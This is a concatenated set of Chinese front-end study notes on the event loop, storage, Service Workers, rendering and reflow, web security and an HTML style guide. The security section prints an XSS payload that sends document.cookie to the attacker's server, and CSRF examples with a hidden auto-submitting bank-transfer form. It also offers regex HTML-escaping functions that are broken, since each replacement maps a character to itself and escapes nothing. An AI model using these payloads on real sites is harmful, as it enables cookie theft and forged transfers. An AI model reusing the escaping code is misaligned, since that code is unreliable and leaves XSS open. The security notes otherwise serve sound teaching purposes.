310 | // 可能也会相反的输出，这取决于性能
311 | // 因为可能进入 event loop 用了不到 1 毫秒，这时候会执行 setImmediate
312 | // 否则会执行 setTimeout
313 | ```
314 | 
315 | 当然在这种情况下，执行顺序是相同的
316 | 
317 | ```js
318 | var fs = require('fs')
319 | 
320 | fs.readFile(__filename, () => {
321 |     setTimeout(() => {
322 |         console.log('timeout');
323 |     }, 0);
324 |     setImmediate(() => {
325 |         console.log('immediate');
326 |     });
327 | });
328 | // 因为 readFile 的回调在 poll 中执行
329 | // 发现有 setImmediate ，所以会立即跳到 check 阶段执行回调
330 | // 再去 timer 阶段执行 setTimeout
331 | // 所以以上输出一定是 setImmediate，setTimeout
332 | ```
333 | 
334 | 上面介绍的都是 macrotask 的执行情况，microtask 会在以上每个阶段完成后立即执行。
335 | 
336 | ```js
337 | setTimeout(()=>{
338 |     console.log('timer1')
339 | 
340 |     Promise.resolve().then(function() {
341 |         console.log('promise1')
342 |     })
343 | }, 0)
344 | 
345 | setTimeout(()=>{
346 |     console.log('timer2')
347 | 
348 |     Promise.resolve().then(function() {
349 |         console.log('promise2')
350 |     })
351 | }, 0)
352 | 
353 | // 以上代码在浏览器和 node 中打印情况是不同的
354 | // 浏览器中一定打印 timer1, promise1, timer2, promise2
355 | // node 中可能打印 timer1, timer2, promise1, promise2
356 | // 也可能打印 timer1, promise1, timer2, promise2
357 | ```
358 | 
359 | Node 中的 `process.nextTick` 会先于其他 microtask 执行。
360 | 
361 |  ```js
362 | setTimeout(() => {
363 |   console.log("timer1");
364 | 
365 |   Promise.resolve().then(function() {
366 |     console.log("promise1");
367 |   });
368 | }, 0);
369 | 
370 | process.nextTick(() => {
371 |   console.log("nextTick");
372 | });
373 | // nextTick, timer1, promise1
374 |  ```
375 | 
376 | # 存储
377 | 
378 | ## cookie，localStorage，sessionStorage，indexDB
379 | 
380 | |     特性     |                   cookie                   |       localStorage       | sessionStorage |         indexDB          |
381 | | :----------: | :----------------------------------------: | :----------------------: | :------------: | :----------------------: |
382 | | 数据生命周期 |     一般由服务器生成，可以设置过期时间     | 除非被清理，否则一直存在 | 页面关闭就清理 | 除非被清理，否则一直存在 |
383 | | 数据存储大小 |                     4K                     |            5M            |       5M       |           无限           |
384 | | 与服务端通信 | 每次都会携带在 header 中，对于请求性能影响 |          不参与          |     不参与     |          不参与          |
385 | 
386 | 从上表可以看到，`cookie` 已经不建议用于存储。如果没有大量数据存储需求的话，可以使用 `localStorage` 和 `sessionStorage` 。对于不怎么改变的数据尽量使用 `localStorage` 存储，否则可以用 `sessionStorage` 存储。
387 | 
388 | 对于 `cookie`，我们还需要注意安全性。
389 | 
390 | |   属性    |                             作用                             |
391 | | :-------: | :----------------------------------------------------------: |
392 | |   value   | 如果用于保存用户登录态，应该将该值加密，不能使用明文的用户标识 |
393 | | http-only |            不能通过 JS 访问 Cookie，减少 XSS 攻击            |
394 | |  secure   |               只能在协议为 HTTPS 的请求中携带                |
395 | | same-site |    规定浏览器不能在跨域请求中携带 Cookie，减少 CSRF 攻击     |
396 | 
397 | ## Service Worker
398 | 
399 | > Service workers 本质上充当Web应用程序与浏览器之间的代理服务器，也可以在网络可用时作为浏览器和网络间的代理。它们旨在（除其他之外）使得能够创建有效的离线体验，拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。
400 | 
401 | 目前该技术通常用来做缓存文件，提高首屏速度，可以试着来实现这个功能。
402 | 
403 | ```js
404 | // index.js
405 | if (navigator.serviceWorker) {
406 |   navigator.serviceWorker
407 |     .register("sw.js")
408 |     .then(function(registration) {
409 |       console.log("service worker 注册成功");
410 |     })
411 |     .catch(function(err) {
412 |       console.log("servcie worker 注册失败");
413 |     });
414 | }
415 | // sw.js
416 | // 监听 `install` 事件，回调中缓存所需文件
417 | self.addEventListener("install", e => {
418 |   e.waitUntil(
419 |     caches.open("my-cache").then(function(cache) {
420 |       return cache.addAll(["./index.html", "./index.js"]);
421 |     })
422 |   );
423 | });
424 | 
425 | // 拦截所有请求事件
426 | // 如果缓存中已经有请求的数据就直接用缓存，否则去请求数据
427 | self.addEventListener("fetch", e => {
428 |   e.respondWith(
429 |     caches.match(e.request).then(function(response) {
430 |       if (response) {
431 |         return response;
432 |       }
433 |       console.log("fetch source");
434 |     })
435 |   );
436 | });
437 | ```
438 | 
439 | 打开页面，可以在开发者工具中的 `Application` 看到 Service Worker 已经启动了![](https://user-gold-cdn.xitu.io/2018/3/28/1626b1e8eba68e1c?w=1770&h=722&f=png&s=192277)
440 | 
441 | 在 Cache 中也可以发现我们所需的文件已被缓存
442 | 
443 | ![](https://user-gold-cdn.xitu.io/2018/3/28/1626b20dfc4fcd26?w=1118&h=728&f=png&s=85610)
444 | 
445 | 当我们重新刷新页面可以发现我们缓存的数据是从 Service Worker 中读取的
446 | 
447 | ![](https://user-gold-cdn.xitu.io/2018/3/28/1626b20e4f8f3257?w=2818&h=298&f=png&s=74833)
448 | 
449 | 
450 | 
451 | # 渲染机制
452 | 
453 | 浏览器的渲染机制一般分为以下几个步骤
454 | 
455 | 1. 处理 HTML 并构建 DOM 树。
456 | 2. 处理 CSS 构建 CSSOM 树。
457 | 3. 将 DOM 与 CSSOM 合并成一个渲染树。
458 | 4. 根据渲染树来布局，计算每个节点的位置。
459 | 5. 调用 GPU 绘制，合成图层，显示在屏幕上。
460 | 
461 | ![](https://user-gold-cdn.xitu.io/2018/4/11/162b2ab2ec70ac5b?w=900&h=352&f=png&s=49983)
462 | 
463 | 在构建 CSSOM 树时，会阻塞渲染，直至 CSSOM 树构建完成。并且构建 CSSOM 树是一个十分消耗性能的过程，所以应该尽量保证层级扁平，减少过度层叠，越是具体的 CSS 选择器，执行速度越慢。
464 | 
465 | 当 HTML 解析到 script 标签时，会暂停构建 DOM，完成后才会从暂停的地方重新开始。也就是说，如果你想首屏渲染的越快，就越不应该在首屏就加载 JS 文件。并且 CSS 也会影响 JS 的执行，只有当解析完样式表才会执行 JS，所以也可以认为这种情况下，CSS 也会暂停构建 DOM。
466 | 
467 | ![](https://user-gold-cdn.xitu.io/2018/7/8/1647838a3b408372?w=1676&h=688&f=png&s=154480)
468 | 
469 | ![](https://user-gold-cdn.xitu.io/2018/7/8/16478388e773b16a?w=1504&h=760&f=png&s=123231)
470 | 
471 | ## Load 和 DOMContentLoaded 区别
472 | 
473 | Load 事件触发代表页面中的 DOM，CSS，JS，图片已经全部加载完毕。
474 | 
475 | DOMContentLoaded 事件触发代表初始的 HTML 被完全加载和解析，不需要等待 CSS，JS，图片加载。
476 | 
477 | ## 图层
478 | 
479 | 一般来说，可以把普通文档流看成一个图层。特定的属性可以生成一个新的图层。**不同的图层渲染互不影响**，所以对于某些频繁需要渲染的建议单独生成一个新图层，提高性能。**但也不能生成过多的图层，会引起反作用。**
480 | 
481 | 通过以下几个常用属性可以生成新图层
482 | 
483 | - 3D 变换：`translate3d`、`translateZ`
484 | - `will-change`
485 | - `video`、`iframe` 标签
486 | - 通过动画实现的 `opacity` 动画转换
487 | - `position: fixed`
488 | 
489 | ## 重绘（Repaint）和回流（Reflow）
490 | 
491 | 重绘和回流是渲染步骤中的一小节，但是这两个步骤对于性能影响很大。
492 | 
493 | - 重绘是当节点需要更改外观而不会影响布局的，比如改变 `color` 就叫称为重绘
494 | - 回流是布局或者几何属性需要改变就称为回流。
495 | 
496 | 回流必定会发生重绘，重绘不一定会引发回流。回流所需的成本比重绘高的多，改变深层次的节点很可能导致父节点的一系列回流。
497 | 
498 | 所以以下几个动作可能会导致性能问题：
499 | 
500 | - 改变 window 大小
501 | - 改变字体
502 | - 添加或删除样式
503 | - 文字改变
504 | - 定位或者浮动
505 | - 盒模型
506 | 
507 | 很多人不知道的是，重绘和回流其实和 Event loop 有关。
508 | 
509 | 1. 当 Event loop 执行完 Microtasks 后，会判断 document 是否需要更新。因为浏览器是 60Hz 的刷新率，每 16ms 才会更新一次。
510 | 2. 然后判断是否有 `resize` 或者 `scroll` ，有的话会去触发事件，所以 `resize` 和 `scroll` 事件也是至少 16ms 才会触发一次，并且自带节流功能。
511 | 3. 判断是否触发了 media query
512 | 4. 更新动画并且发送事件
513 | 5. 判断是否有全屏操作事件
514 | 6. 执行 `requestAnimationFrame` 回调
515 | 7. 执行 `IntersectionObserver` 回调，该方法用于判断元素是否可见，可以用于懒加载上，但是兼容性不好
516 | 8. 更新界面
517 | 9. 以上就是一帧中可能会做的事情。如果在一帧中有空闲时间，就会去执行 `requestIdleCallback` 回调。
518 | 
519 | 以上内容来自于 [HTML 文档](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model)
520 | 
521 | ## 减少重绘和回流
522 | 
523 | - 使用 `translate` 替代 `top`
524 | 
525 |   ```html
526 |   <div class="test"></div>
527 |   <style>
528 |   	.test {
529 |   		position: absolute;
530 |   		top: 10px;
531 |   		width: 100px;
532 |   		height: 100px;
533 |   		background: red;
534 |   	}
535 |   </style>
536 |   <script>
537 |   	setTimeout(() => {
538 |           // 引起回流
539 |   		document.querySelector('.test').style.top = '100px'
540 |   	}, 1000)
541 |   </script>
542 |   ```
543 | 
544 | - 使用 `visibility` 替换 `display: none` ，因为前者只会引起重绘，后者会引发回流（改变了布局）
545 | 
546 | - 把 DOM 离线后修改，比如：先把 DOM 给 `display:none` (有一次 Reflow)，然后你修改100次，然后再把它显示出来
547 | 
548 | - 不要把 DOM 结点的属性值放在一个循环里当成循环里的变量
549 | 
550 |   ```js
551 |   for(let i = 0; i < 1000; i++) {
552 |       // 获取 offsetTop 会导致回流，因为需要去获取正确的值
553 |       console.log(document.querySelector('.test').style.offsetTop)
554 |   }
555 |   ```
556 | 
557 | - 不要使用 table 布局，可能很小的一个小改动会造成整个 table 的重新布局
558 | 
559 | - 动画实现的速度的选择，动画速度越快，回流次数越多，也可以选择使用 `requestAnimationFrame`
560 | 
561 | - CSS 选择符从右往左匹配查找，避免 DOM 深度过深
562 | 
563 | - 将频繁运行的动画变为图层，图层能够阻止该节点回流影响别的元素。比如对于 `video` 标签，浏览器会自动将该节点变为图层。
564 | 
565 |   ![](https://user-gold-cdn.xitu.io/2018/3/29/1626fb6f33a6f9d7?w=1588&h=768&f=png&s=263260)


--------------------------------------------------------------------------------
/Other/Network-protocol/READMD.md:
--------------------------------------------------------------------------------
1 | # 网络协议
2 | 
3 | [关于HTTP协议，一篇就够了](https://www.cnblogs.com/ranyonsue/p/5984001.html)
4 | 


--------------------------------------------------------------------------------
/Other/Network-security/README.md:
--------------------------------------------------------------------------------
  1 | # 网络安全
  2 | 
  3 | - [XSS (Cross Site Scripting) 跨站脚本攻击](#xss-cross-site-scripting-%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC%E6%94%BB%E5%87%BB)
  4 | - [CSRF/XSRF (Cross-site request forgery) 跨站请求伪造](#csrfxsrf-cross-site-request-forgery-%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0)
  5 | - [网络劫持](#%E7%BD%91%E7%BB%9C%E5%8A%AB%E6%8C%81)
  6 | - [DDOS 攻击](#ddos-%E6%94%BB%E5%87%BB)
  7 | - [SQL 注入](#sql-%E6%B3%A8%E5%85%A5)
  8 | - [SQL 防护](#sql-%E9%98%B2%E6%8A%A4)
  9 | - [控制台注入代码](#%E6%8E%A7%E5%88%B6%E5%8F%B0%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81)
 10 | 
 11 | ## XSS (Cross Site Scripting) 跨站脚本攻击
 12 | 
 13 | XSS 是恶意 web 用户将代码植入到提供给其它用户使用的页面中。在web前端方面，可以简单的理解为一种javascript代码注入。
 14 | 
 15 | 场景：
 16 | 
 17 | 在某些论坛的评论中，插入了 ajax 代码，在其他人访问该页面时，可以获取他人在当前域名下的 cookie 并发送到的服务器上。
 18 | 
 19 | 注入代码：
 20 | ```js
 21 | $.ajax({
 22 |     url: '自己的服务器',
 23 |     dataType: 'jsonp',
 24 |     data: {'盗取的用户cookie': document.cookie}
 25 | });
 26 | ```
 27 | 
 28 | 防范措施：  
 29 | 1、将前端输出数据都进行转义。  
 30 | 2、使用 cookie 的 HttpOnly 属性保护好 cookie。  
 31 | 
 32 | 两种转义和反转义的方式：
 33 | 
 34 | ```js
 35 | var HtmlUtil = {
 36 | 		/*1.用浏览器内部转换器实现html转码*/
 37 |   htmlEncode: function(html) {
 38 |     //1.首先动态创建一个容器标签元素，如DIV  
 39 |     var temp = document.createElement("div");
 40 |     //2.然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textContent(火狐，google支持)  
 41 |     (temp.textContent != undefined) ? (temp.textContent = html) : (temp.innerText = html);
 42 |     //3.最后返回这个元素的innerHTML，即得到经过HTML编码转换的字符串了  
 43 |     var output = temp.innerHTML;
 44 |     temp = null;
 45 |     return output;
 46 |   },
 47 |   /*2.用浏览器内部转换器实现html解码*/
 48 |   htmlDecode: function(text) {
 49 |     //1.首先动态创建一个容器标签元素，如DIV  
 50 |     var temp = document.createElement("div");
 51 |     //2.然后将要转换的字符串设置为这个元素的innerHTML(ie，火狐，google都支持)  
 52 |     temp.innerHTML = text;
 53 |     var output = temp.innerText || temp.textContent;
 54 |     temp = null;
 55 |     return output;
 56 |   },
 57 |   /*3.用正则表达式实现html转码*/
 58 |   htmlEncodeByRegExp: function(str) {
 59 |     var s = "";
 60 |     if (str.length == 0) return "";
 61 |     s = str.replace(/&/g, "&");
 62 |     s = s.replace(/</g, "<");
 63 |     s = s.replace(/>/g, ">");
 64 |     s = s.replace(/ /g, " ");
 65 |     s = s.replace(/\'/g, "'");
 66 |     s = s.replace(/\"/g, '"');
 67 |     return s;
 68 |   },
 69 |   /*4.用正则表达式实现html解码*/
 70 |   htmlDecodeByRegExp: function(str) {
 71 |     var s = "";
 72 |     if (str.length == 0) return "";
 73 |     s = str.replace(/&/g, "&");
 74 |     s = s.replace(/</g, "<");
 75 |     s = s.replace(/>/g, ">");
 76 |     s = s.replace(/ /g, " ");
 77 |     s = s.replace(/'/g, "\'");
 78 |     s = s.replace(/"/g, "\"");
 79 |     return s;
 80 |   }
 81 | };
 82 | ```
 83 | 
 84 | ## CSRF/XSRF (Cross-site request forgery) 跨站请求伪造
 85 | 
 86 | CSRF 是利用受信任网站中的一些不安全的提交行为，在你访问黑客的网站时，黑客的网站会盗用了你的身份，以你的名义发送恶意请求到受信任网站上。
 87 | 
 88 | 要完成一次 CSRF 攻击，受害者必须完成：
 89 | 
 90 | - 登录受信任网站 A，并在本地生成 cookie
 91 | - 在不登出 A 的情况下，访问危险网站 B
 92 | 
 93 | 场景：
 94 | 
 95 | 某银行网站 A，它以 GET 请求来完成银行转账的操作，如：
 96 | ```html
 97 | http://www.mybank.com/transfer.php?toBankId=11&money=1000
 98 | ```
 99 | 而某危险网站 B，它页面中含有一段 HTML 代码如下：
100 | ```html
101 | <img src=http://www.mybank.com/transfer.php?toBankId=11&money=1000>
102 | ```
103 | 
104 | 由于你此前登录银行网站 A 且还未退出，这时候你的浏览器会带上你的银行网站 A 的 Cookie 发出 GET 请求，结果银行服务器收到请求后，认为这是一条合法的更新资源的操作，所以立刻进行转账操作，这样就完成了一次简单的跨站请求伪造。
105 | 
106 | 如果银行使用了 post 请求，危险网站 B 将其页面代码修改了下：
107 | ```html
108 | <body onload="steal()">
109 |   <iframe name="steal" display="none">
110 |     <form method="POST" name="transfer"　action="http://www.myBank.com/transfer.php">
111 |       <input type="hidden" name="toBankId" value="11">
112 |       <input type="hidden" name="money" value="1000">
113 |     </form>
114 |   </iframe>
115 | </body>
116 | ```
117 | 
118 | 这里危险网站 B 暗地里发送了 POST 请求到银行，通过一个隐藏的自动提交的表单来提交请求，同样地完成了转账操作。
119 | 
120 | 防范措施：
121 | 
122 | - 1、避免数据操作类的行为使用 get 请求，只接受 POST 请求。
123 | - 2、使用需要用户进行互动的验证码。
124 | - 4、使用随机的 Token，使攻击者无法准确预测。
125 | - 3、检测 Referer（Referer：告诉服务器我是从哪个页面链接过来的）。
126 | 
127 | ## 网络劫持
128 | 
129 | 很多的时候，我们的网站不是直接就访问到我们的服务器上的，中间会经过很多层代理，如果在某一个环节，数据被中间代理层的劫持者所截获，他们就能获取到使用你网站的用户的密码等保密数据。  
130 | 比如，我们的用户经常会在各种饭馆里面，连一些奇奇怪怪的wifi，如果这个wifi是黑客所建立的热点wifi，那么黑客就可以结果该用户收发的所有数据。
131 | 
132 | 建议站长们网站都使用https进行加密。这样，就算网站的数据能被拿到，黑客也无法解开。
133 | 
134 | ## DDOS 攻击
135 | 
136 | 分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。
137 | 
138 | DDOS 攻击利用目标系统网络服务功能缺陷或者直接消耗其系统资源，使得该目标系统无法提供正常的服务。
139 | 
140 | DDoS 攻击通过大量合法的请求占用大量网络资源，以达到瘫痪网络的目的。 具体有几种形式：
141 | 
142 | - 通过使网络过载来干扰甚至阻断正常的网络通讯；
143 | - 通过向服务器提交大量请求，使服务器超负荷；
144 | - 阻断某一用户访问服务器；
145 | - 阻断某服务与特定系统或个人的通讯。
146 | 
147 | ## SQL 注入
148 | 
149 | 所谓 SQL 注入，就是通过把 SQL 命令插入到 Web 表单提交或页面请求的查询字符串，最终达到向服务器执行恶意的 SQL 命令。
150 | 
151 | ## SQL 防护
152 | 
153 | - 永远不要信任用户的输入: 对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和双"-"进行转换等。
154 | - 永远不要使用动态拼装 SQL，可以使用参数化的 SQL 或者直接使用存储过程进行数据查询存取。
155 | - 永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
156 | - 不要把机密信息直接存放，加密或者 hash 掉密码和敏感的信息。
157 | 
158 | ## 控制台注入代码
159 | 
160 | 黑客会诱骗用户去往控制台里面粘贴代码，获取用户的信息。
161 | 
162 | See Also
163 | 
164 | [聊一聊WEB前端安全那些事儿](https://segmentfault.com/a/1190000006672214)  
165 | [谈谈对 Web 安全的理解](https://juejin.im/entry/58bad941128fe100643fb35b)  
166 | [JS对HTML字符的转义和反转义](https://blog.csdn.net/u013026207/article/details/53994032)  
167 | 


--------------------------------------------------------------------------------
/Other/Normalization/README.md:
--------------------------------------------------------------------------------
1 | # 开发规范
2 | 
3 | * [HTML](./html.md)
4 | * [CSS](./css.md)
5 | * [Javascript](./javascript.md)
6 | * [Project](./project.md)
7 | * [Markdown](./markdown.md)
8 | 


--------------------------------------------------------------------------------
/Other/Normalization/html.md:
--------------------------------------------------------------------------------
  1 | 
  2 | # HTML编码规范
  3 | 
  4 | 
  5 | 
  6 | 
  7 | [1 前言](#1-%E5%89%8D%E8%A8%80)
  8 | 
  9 | [2 代码风格](#2-%E4%BB%A3%E7%A0%81%E9%A3%8E%E6%A0%BC)
 10 | 
 11 | 　　[2.1 缩进与换行](#21-%E7%BC%A9%E8%BF%9B%E4%B8%8E%E6%8D%A2%E8%A1%8C)
 12 | 
 13 | 　　[2.2 命名](#22-%E5%91%BD%E5%90%8D)
 14 | 
 15 | 　　[2.3 标签](#23-%E6%A0%87%E7%AD%BE)
 16 | 
 17 | 　　[2.4 属性](#24-%E5%B1%9E%E6%80%A7)
 18 | 
 19 | [3 通用](#3-%E9%80%9A%E7%94%A8)
 20 | 
 21 | 　　[3.1 DOCTYPE](#31-doctype)
 22 | 
 23 | 　　[3.2 编码](#32-%E7%BC%96%E7%A0%81)
 24 | 
 25 | 　　[3.3 CSS和JavaScript引入](#33-css%E5%92%8Cjavascript%E5%BC%95%E5%85%A5)
 26 | 
 27 | [4 head](#4-head)
 28 | 
 29 | 　　[4.1 title](#41-title)
 30 | 
 31 | 　　[4.2 favicon](#42-favicon)
 32 | 
 33 | 　　[4.3 viewport](#43-viewport)
 34 | 
 35 | [5 图片](#5-%E5%9B%BE%E7%89%87)
 36 | 
 37 | [6 表单](#6-%E8%A1%A8%E5%8D%95)
 38 | 
 39 | 　　[6.1 控件标题](#61-%E6%8E%A7%E4%BB%B6%E6%A0%87%E9%A2%98)
 40 | 
 41 | 　　[6.2 按钮](#62-%E6%8C%89%E9%92%AE)
 42 | 
 43 | 　　[6.3 可访问性 (A11Y)](#63-%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7-a11y)
 44 | 
 45 | [7 多媒体](#7-%E5%A4%9A%E5%AA%92%E4%BD%93)
 46 | 
 47 | [8 模板中的 HTML](#8-%E6%A8%A1%E6%9D%BF%E4%B8%AD%E7%9A%84-html)
 48 | 
 49 | 
 50 | 
 51 | 
 52 | 
 53 | ## 1 前言
 54 | 
 55 | 
 56 | HTML作为描述网页结构的超文本标记语言，在百度一直有着广泛的应用。本文档的目标是使HTML代码风格保持一致，容易被理解和被维护。
 57 | 
 58 | 
 59 | 
 60 | 
 61 | ## 2 代码风格
 62 | 
 63 | 
 64 | ### 2.1 缩进与换行
 65 | 
 66 | 
 67 | #### [强制] 使用 `4` 个空格做为一个缩进层级，不允许使用 `2` 个空格 或 `tab` 字符。
 68 | 
 69 | 
 70 | 示例：
 71 | 
 72 | ```html
 73 | <ul>
 74 |     <li>first</li>
 75 |     <li>second</li>
 76 | </ul>
 77 | ```
 78 | 
 79 | #### [建议] 每行不得超过 `120` 个字符。
 80 | 
 81 | 解释：
 82 | 
 83 | 过长的代码不容易阅读与维护。但是考虑到 HTML 的特殊性，不做硬性要求。
 84 | 
 85 | 
 86 | ### 2.2 命名
 87 | 
 88 | 
 89 | 
 90 | #### [强制] `class` 必须单词全字母小写，单词间以 `-` 分隔。
 91 | 
 92 | #### [强制] `class` 必须代表相应模块或部件的内容或功能，不得以样式信息进行命名。
 93 | 
 94 | 示例：
 95 | 
 96 | ```html
 97 | <!-- good -->
 98 | <div class="sidebar"></div>
 99 | 
100 | <!-- bad -->
101 | <div class="left"></div>
102 | ```
103 | 
104 | #### [强制] 元素 `id` 必须保证页面唯一。
105 | 
106 | 解释：
107 | 
108 | 同一个页面中，不同的元素包含相同的 id，不符合 id 的属性含义。并且使用 document.getElementById 时可能导致难以追查的问题。
109 | 
110 | 
111 | #### [建议] `id` 建议单词全字母小写，单词间以 `-` 分隔。同项目必须保持风格一致。
112 | 
113 | 
114 | #### [建议] `id`、`class` 命名，在避免冲突并描述清楚的前提下尽可能短。
115 | 
116 | 示例：
117 | 
118 | ```html
119 | <!-- good -->
120 | <div id="nav"></div>
121 | <!-- bad -->
122 | <div id="navigation"></div>
123 | 
124 | <!-- good -->
125 | <p class="comment"></p>
126 | <!-- bad -->
127 | <p class="com"></p>
128 | 
129 | <!-- good -->
130 | <span class="author"></span>
131 | <!-- bad -->
132 | <span class="red"></span>
133 | ```
134 | 
135 | #### [强制] 禁止为了 `hook 脚本`，创建无样式信息的 `class`。
136 | 
137 | 解释：
138 | 
139 | 不允许 class 只用于让 JavaScript 选择某些元素，class 应该具有明确的语义和样式。否则容易导致 css class 泛滥。
140 | 
141 | 使用 id、属性选择作为 hook 是更好的方式。
142 | 
143 | 
144 | #### [强制] 同一页面，应避免使用相同的 `name` 与 `id`。
145 | 
146 | 解释：
147 | 
148 | IE 浏览器会混淆元素的 id 和 name 属性， document.getElementById 可能获得不期望的元素。所以在对元素的 id 与 name 属性的命名需要非常小心。
149 | 
150 | 一个比较好的实践是，为 id 和 name 使用不同的命名法。
151 | 
152 | 示例：
153 | 
154 | ```html
155 | <input name="foo">
156 | <div id="foo"></div>
157 | <script>
158 | // IE6 将显示 INPUT
159 | alert(document.getElementById('foo').tagName);
160 | </script>
161 | ````
162 | 
163 | 
164 | ### 2.3 标签
165 | 
166 | 
167 | #### [强制] 标签名必须使用小写字母。
168 | 
169 | 示例：
170 | 
171 | ```html
172 | <!-- good -->
173 | <p>Hello StyleGuide!</p>
174 | 
175 | <!-- bad -->
176 | <P>Hello StyleGuide!</P>
177 | ```
178 | 
179 | #### [强制] 对于无需自闭合的标签，不允许自闭合。
180 | 
181 | 解释：
182 | 
183 | 常见无需自闭合标签有input、br、img、hr等。
184 | 
185 | 
186 | 示例：
187 | 
188 | ```html
189 | <!-- good -->
190 | <input type="text" name="title">
191 | 
192 | <!-- bad -->
193 | <input type="text" name="title" />
194 | ```
195 | 
196 | #### [强制] 对 `HTML5` 中规定允许省略的闭合标签，不允许省略闭合标签。
197 | 
198 | 解释：
199 | 
200 | 对代码体积要求非常严苛的场景，可以例外。比如：第三方页面使用的投放系统。
201 | 
202 | 
203 | 示例：
204 | 
205 | ```html
206 | <!-- good -->
207 | <ul>
208 |     <li>first</li>
209 |     <li>second</li>
210 | </ul>
211 | 
212 | <!-- bad -->
213 | <ul>
214 |     <li>first
215 |     <li>second
216 | </ul>
217 | ```
218 | 
219 | 
220 | #### [强制] 标签使用必须符合标签嵌套规则。
221 | 
222 | 解释：
223 | 
224 | 比如 div 不得置于 p 中，tbody 必须置于 table 中。
225 | 
226 | 详细的标签嵌套规则参见[HTML DTD](http://www.cs.tut.fi/~jkorpela/html5.dtd)中的 `Elements` 定义部分。
227 | 
228 | 
229 | #### [建议] `HTML` 标签的使用应该遵循标签的语义。
230 | 
231 | 解释：
232 | 
233 | 下面是常见标签语义
234 | 
235 | - p - 段落
236 | - h1,h2,h3,h4,h5,h6 - 层级标题
237 | - strong,em - 强调
238 | - ins - 插入
239 | - del - 删除
240 | - abbr - 缩写
241 | - code - 代码标识
242 | - cite - 引述来源作品的标题
243 | - q - 引用
244 | - blockquote - 一段或长篇引用
245 | - ul - 无序列表
246 | - ol - 有序列表
247 | - dl,dt,dd - 定义列表
248 | 
249 | 
250 | 示例：
251 | 
252 | ```html
253 | <!-- good -->
254 | <p>Esprima serves as an important <strong>building block</strong> for some JavaScript language tools.</p>
255 | 
256 | <!-- bad -->
257 | <div>Esprima serves as an important <span class="strong">building block</span> for some JavaScript language tools.</div>
258 | ```
259 | 
260 | 
261 | #### [建议] 在 `CSS` 可以实现相同需求的情况下不得使用表格进行布局。
262 | 
263 | 解释：
264 | 
265 | 在兼容性允许的情况下应尽量保持语义正确性。对网格对齐和拉伸性有严格要求的场景允许例外，如多列复杂表单。
266 | 
267 | 
268 | #### [建议] 标签的使用应尽量简洁，减少不必要的标签。
269 | 
270 | 示例：
271 | 
272 | ```html
273 | <!-- good -->
274 | <img class="avatar" src="image.png">
275 | 
276 | <!-- bad -->
277 | <span class="avatar">
278 |     <img src="image.png">
279 | </span>
280 | ```
281 | 
282 | 
283 | 
284 | ### 2.4 属性
285 | 
286 | 
287 | #### [强制] 属性名必须使用小写字母。
288 | 
289 | 示例：
290 | 
291 | ```html
292 | <!-- good -->
293 | <table cellspacing="0">...</table>
294 | 
295 | <!-- bad -->
296 | <table cellSpacing="0">...</table>
297 | ```
298 | 
299 | 
300 | #### [强制] 属性值必须用双引号包围。
301 | 
302 | 解释：
303 | 
304 | 不允许使用单引号，不允许不使用引号。
305 | 
306 | 
307 | 示例：
308 | 
309 | ```html
310 | <!-- good -->
311 | <script src="esl.js"></script>
312 | 
313 | <!-- bad -->
314 | <script src='esl.js'></script>
315 | <script src=esl.js></script>
316 | ```
317 | 
318 | #### [建议] 布尔类型的属性，建议不添加属性值。
319 | 
320 | 示例：
321 | 
322 | ```html
323 | <input type="text" disabled>
324 | <input type="checkbox" value="1" checked>
325 | ```
326 | 
327 | 
328 | #### [建议] 自定义属性建议以 `xxx-` 为前缀，推荐使用 `data-`。
329 | 
330 | 解释：
331 | 
332 | 使用前缀有助于区分自定义属性和标准定义的属性。
333 | 
334 | 
335 | 示例：
336 | 
337 | ```html
338 | <ol data-ui-type="Select"></ol>
339 | ```
340 | 
341 | 
342 | 
343 | 
344 | ## 3 通用
345 | 
346 | 
347 | ### 3.1 DOCTYPE
348 | 
349 | 
350 | #### [强制] 使用 `HTML5` 的 `doctype` 来启用标准模式，建议使用大写的 `DOCTYPE`。
351 | 
352 | 示例：
353 | 
354 | ```html
355 | <!DOCTYPE html>
356 | ```
357 | 
358 | #### [建议] 启用 IE Edge 模式。
359 | 
360 | 示例：
361 | 
362 | ```html
363 | <meta http-equiv="X-UA-Compatible" content="IE=Edge">
364 | ```
365 | 
366 | #### [建议] 在 `html` 标签上设置正确的 lang 属性。
367 | 
368 | 解释：
369 | 
370 | 有助于提高页面的可访问性，如：让语音合成工具确定其所应该采用的发音，令翻译工具确定其翻译语言等。
371 | 
372 | 
373 | 示例：
374 | 
375 | ```html
376 | <html lang="zh-CN">
377 | ```
378 | 
379 | 
380 | ### 3.2 编码
381 | 
382 | 
383 | #### [强制] 页面必须使用精简形式，明确指定字符编码。指定字符编码的 `meta` 必须是 `head` 的第一个直接子元素。
384 | 
385 | 解释：
386 | 
387 | 见 [HTML5 Charset能用吗](http://www.qianduan.net/html5-charset-can-it.html) 一文。
388 | 
389 | 示例：
390 | 
391 | ```html
392 | <html>
393 |     <head>
394 |         <meta charset="UTF-8">
395 |         ......
396 |     </head>
397 |     <body>
398 |         ......
399 |     </body>
400 | </html>
401 | ```
402 | 
403 | #### [建议] `HTML` 文件使用无 `BOM` 的 `UTF-8` 编码。
404 | 
405 | 解释：
406 | 
407 | UTF-8 编码具有更广泛的适应性。BOM 在使用程序或工具处理文件时可能造成不必要的干扰。
408 | 
409 | 
410 | 
411 | ### 3.3 CSS和JavaScript引入
412 | 
413 | 
414 | #### [强制] 引入 `CSS` 时必须指明 `rel="stylesheet"`。
415 | 
416 | 示例：
417 | 
418 | ```html
419 | <link rel="stylesheet" src="page.css">
420 | ```
421 | 
422 | 
423 | #### [建议] 引入 `CSS` 和 `JavaScript` 时无须指明 `type` 属性。
424 | 
425 | 解释：
426 | 
427 | `text/css` 和 `text/javascript` 是 type 的默认值。
428 | 
